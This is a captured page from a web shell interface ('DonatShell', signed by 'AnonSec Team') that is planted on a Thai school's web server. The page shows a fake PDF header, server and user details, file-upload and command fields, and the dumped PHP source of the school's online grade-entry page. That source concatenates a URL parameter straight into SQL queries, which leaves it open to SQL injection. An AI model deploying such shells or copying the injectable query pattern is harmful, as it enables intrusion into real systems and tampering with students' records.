%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /BK/wwwroot/mis/teacher/subject_score/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /BK/wwwroot/mis/teacher/subject_score/list_student.php
<?PHP 
	header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
    header ("Last-Modified: " . date("D, d M Y H:i:s") . " GMT");
    header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
    header ("Pragma: no-cache");
	include("conf.php");
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>ระบบบันทึกคะแนนออนไลน์ โรงเรียนสาธิตมหาวิทยาลัยเชียงใหม่</title>

    <!-- Bootstrap Core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- Theme CSS -->
    <link href="css/freelancer.min.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->
    <link href="https://fonts.googleapis.com/css?family=Prompt" rel="stylesheet">
    
    <style>
      body {
        font-family: 'Prompt', serif;
        font-size: 18;
      }
    </style>
 
<script>
	function CheckNumber() {
		//alert(document.getElementById("MarkScore").value);
		// CountStu
		window.location.href="#targetDiv";
		for (i = 1; i < document.getElementById("CountStu").value; i++) { 
			//alert(i);
			if(document.getElementById("Score"+i).value.length>0){
				if(isNumeric(document.getElementById("Score"+i).value)==false) {
					alert("กรุณาระบุคะแนนเป็นตัวเลข (ลำดับที่ : " + i + ")");
					return false;
				}  
				
				if(parseFloat(document.getElementById("Score"+i).value)>parseFloat(document.getElementById("MarkScore").value)) {  // IDStudent
					//alert(document.getElementById("Score"+i).value+" - " + document.getElementById("MarkScore").value);
					alert("คะแนนที่ให้ต้องไม่เกินคะแนนเต็มที "+document.getElementById("MarkScore").value+" คะแนน (รหัส นักเรียน "+document.getElementById("IDStudent"+i).value+")");
					return false;
				}
			}
		}
		//alert("X");
		for (i = 1; i < document.getElementById("CountStu").value; i++) { 
			//alert(i);
			var last = 0;
			//alert((i+i)+" aa "+ parseInt(document.getElementById("CountStu").value));
			if((i+1)== parseInt(document.getElementById("CountStu").value))  {
				last = 1;
				//alert("OK");
			}
			if(document.getElementById("Score"+i).value.length>0) {
				//alert("OK");
				SaveScore(document.getElementById("IDStudent"+i).value,document.getElementById("Score"+i).value,last,parseInt(document.getElementById("CountStu").value),i);
			}
			//break;
		}
	}
	function isNumeric(n) {
	  return !isNaN(parseFloat(n)) && isFinite(n);
	}
	function SaveScore(IDStudent,Score,last,Max,Run) {
		//alert(IDStudent + " " + Score + "max : "+Max +" Run : "+Run);
		
		//IDStudent="xxx";
		var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("showSave").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET", "SaveScore.php?IDStudent=" + IDStudent + "&Score="+Score + "&Last="+last + "&Max="+Max+ "&Run="+Run , true);
        xmlhttp.send();
	}
</script>

</head>

<body id="page-top" class="index"> 

<div id="skipnav"><a href="#maincontent">Skip to main content</a></div>

    <?PHP 
        include "menu.php";
   ?>
  
 <!-- Contact Section -->
    <section id="contact">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2></h2>
                    <hr class="star-primary">
    <div id="SaveScore" align="center">
    	<?PHP
			//echo $_GET["ScoreType"];

			
			$sql = "select PLevel from TSubject where PSubjectCode='".iconv("utf-8","tis-620",$_SESSION["PSubjectCode"])."'";
			//echo "sql : ".$sql."<br>";
			$stmt = sqlsrv_query( $conn, $sql );
			if( $stmt === false) {
				die( print_r( sqlsrv_errors(), true) );
			}
			while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
                $PLevel  = $row['PLevel'];
			}

			//echo "PLevel : ".$PLevel."<BR>";
			$sql= "select * from ScoreType where IDOrder='".$_GET["ScoreType"]."'";
			//echo "sql : ".$sql."<br>";
			$stmt = sqlsrv_query( $conn, $sql );
			if( $stmt === false) {
				die( print_r( sqlsrv_errors(), true) );
			}
			while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
				//echo "ScoreField : ". $row['ScoreField'];	
				 
                if($_SESSION["Term"]=="1" && $PLevel=="1") {  // ประถมภาคเรียนที่ 1
                    $ScoreField = $row['ScoreField'];	
                    $_SESSION["ScoreField"] = $ScoreField;
                    $MarkField = $row['MarkField'];
                    $_SESSION["MarkField"] = $ScoreField;				
                    $ScoreName = $row['ScoreName'];
                } else if($_SESSION["Term"]=="2"  && $PLevel=="1") {   // ประถมภาคเรียนที่ 2
                    $ScoreField = $row['ScoreField_T2'];	
                    $_SESSION["ScoreField"] = $ScoreField;
                    $MarkField = $row['MarkField_T2'];
                    $_SESSION["MarkField"] = $ScoreField;				
                    $ScoreName = $row['ScoreName'];
                } else {   // ไม่ใช่ประถม
					$ScoreField = $row['ScoreField'];	
                    $_SESSION["ScoreField"] = $ScoreField;
                    $MarkField = $row['MarkField'];
                    $_SESSION["MarkField"] = $ScoreField;				
                    $ScoreName = $row['ScoreName'];
				}
				//echo "rows ".$MarkField;			
			}
			

			/*
			echo $_SESSION["PSubjectCode"];
			echo $_SESSION["PClass"];
			echo $_SESSION["PRoom"];
			echo $_SESSION["AYear"];
			echo $_SESSION["Term"];
			echo "<br><br>";
			*/
			
			//echo "Mark : ".$MarkField;
			$sql="select ".$MarkField." from TSubject where PSubjectCode='".iconv('utf-8','tis-620',$_SESSION["PSubjectCode"])."'";
			//echo $sql;			
			$stmt = sqlsrv_query( $conn, $sql );
			if( $stmt === false) {
				die( print_r( sqlsrv_errors(), true) );
			}
			while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
				$ScoreMark = $row[0];
				//echo "OK";
			}
			//echo "<BR>Score Mark : ".$ScoreMark;
			if($_SESSION["PClass"]!="") {
				$sql="SELECT  TBStudent.PCLassNo, dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TBStudent.PreName,TBStudent.IDStudent, dbo.TBStudent.NameFirst+'  '+ dbo.TBStudent.NameLast as StuName, dbo.TScore.PClass+convert(char(2),dbo.TScore.PRoom) as StuClassRoom,".$_SESSION["ScoreField"]." as Score , isnull(PGradeForCal,'') as PGradeForCal FROM    dbo.TScore INNER JOIN    dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode INNER JOIN    dbo.TBStudent ON dbo.TScore.IDStudent = dbo.TBStudent.IDStudent WHERE    (dbo.TScore.RegYear = '".$_SESSION["AYear"]."') AND (dbo.TScore.RegTerm = '".$_SESSION["Term"]."' or dbo.TScore.RegTerm = '_') AND (dbo.TScore.PSubjectCode = '".iconv('utf-8','tis-620',$_SESSION["PSubjectCode"])."') AND (dbo.TScore.PClass = '".iconv('utf-8','tis-620',$_SESSION["PClass"])."') AND (dbo.TScore.PRoom = '".$_SESSION["PRoom"]."')  and TBStudent.Status=1 order by  TBStudent.IDStudent";  
			} else {
				$sql="SELECT    TBStudent.PCLassNo,dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TBStudent.PreName,TBStudent.IDStudent, dbo.TBStudent.NameFirst+'  '+ dbo.TBStudent.NameLast as StuName, dbo.TScore.PClass+convert(char(2),dbo.TScore.PRoom) as StuClassRoom,".$_SESSION["ScoreField"]." as Score, isnull(PGradeForCal,'') as PGradeForCal FROM    dbo.TScore INNER JOIN    dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode INNER JOIN    dbo.TBStudent ON dbo.TScore.IDStudent = dbo.TBStudent.IDStudent WHERE    (dbo.TScore.RegYear = '".$_SESSION["AYear"]."') AND (dbo.TScore.RegTerm = '".$_SESSION["Term"]."' or dbo.TScore.RegTerm = '_') AND (dbo.TScore.PSubjectCode = '".iconv('utf-8','tis-620',$_SESSION["PSubjectCode"])."')  and TBStudent.Status=1 order by  TBStudent.IDStudent";  
			}
			//echo $sql;
			//$sql="SELECT    dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TBStudent.PreName+ dbo.TBStudent.NameFirst+'  '+ dbo.TBStudent.NameLast as StuName, dbo.TScore.PClass+convert(char(2),dbo.TScore.PRoom) as StuClassRoom FROM    dbo.TScore INNER JOIN    dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode INNER JOIN    dbo.TBStudent ON dbo.TScore.IDStudent = dbo.TBStudent.IDStudent WHERE    (dbo.TScore.RegYear = '".$_SESSION["AYear"]."') AND (dbo.TScore.RegTerm = '".$_SESSION["Term"]."') AND (dbo.TScore.PSubjectCode = '".$_SESSION["PSubjectCode"]."') AND (dbo.TScore.PClass = '".$_SESSION["PClass"]."') AND (dbo.TScore.PRoom = '".$_SESSION["PRoom"]."') order by TBstudent.IDStudent";  
			//echo $sql;
			$stmt = sqlsrv_query( $conn, $sql );
			echo "<div class='row'>";
			echo "<div class='col-md-3'>รายชื่อ</div><div class='col col-md-1'>เต็ม</div><div class='col col-md-1'>ได้</div>";
			echo "</div></div>";
			$i = 1;

			while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {
				echo "<div class='row'>";
				echo "<div class='col-sm-3' align='left'>".$row['IDStudent']." &nbsp;-&nbsp; ".$row['PClassNo'].". ".iconv('tis-620','utf-8',$row['StuName'])."<input type='hidden' id='IDStudent".$i."' value='".$row['IDStudent']."'/></div>"; 			
				echo "<div class='col-sm-1'><input type='text' class='form-control' id='ScoreMark".$i."' name='ScoreMark' value='".$ScoreMark."' style='text-align:center;' disabled></div>";
				if($row['PGradeForCal']=='')
					$disabled = "";
				else
					$disabled = "disabled";
				//echo $disabled;
				echo "<div class='col-sm-1'><input type='text' class='form-control' id='Score".$i."' name='Score' value='".$row['Score']."' $disabled style='text-align:center;'></div>";
				echo "<hr></div>";
				$i++;
			}
			echo "<input type='hidden' id='CountStu' name='CountStu' value='".$i."'>";
			echo "</div>";
		?>

 
    </p>
  </div>
	<?PHP
		$sql ="select * from TScoreSendScore where RegYear='".$_SESSION["AYear"]."' and RegTerm='".$_SESSION["Term"]."' and PClass='".iconv('utf-8','tis-620',$_SESSION["PClass"])."' and SendScore=0";
		$stmt = sqlsrv_query( $conn, $sql );
		$disabled = "";
		while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)) {
			$disabled = "disabled";
		}
	?>
	<input id="MarkScore" value="<?PHP echo $ScoreMark; ?>" type="hidden">
    <div id="showSave" align="center"></div>
  	<button type="button" class="btn btn-primary btn-lg btn-block" onClick="CheckNumber()" <?PHP echo $disabled; ?>>บันทึกคะแนน</button>


                </div>
            </div>
        </div>
    </section>
    <!-- Footer -->
    <?PHP 
        include "footer.php";
    ?>

    <!-- Scroll to Top Button (Only visible on small and extra-small screen sizes) -->
    <div class="scroll-top page-scroll hidden-sm hidden-xs hidden-lg hidden-md">
        <a class="btn btn-primary" href="#page-top">
            <i class="fa fa-chevron-up"></i>
        </a>
    </div>
 
    <!-- jQuery -->
    <script src="vendor/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="vendor/bootstrap/js/bootstrap.min.js"></script>

    <!-- Plugin JavaScript -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>

    <!-- Contact Form JavaScript -->
    <script src="js/jqBootstrapValidation.js"></script>
    <script src="js/contact_me.js"></script>

    <!-- Theme JavaScript -->
    <script src="js/freelancer.min.js"></script>

</body>

</html>

Anon7 - 2022
AnonSec Team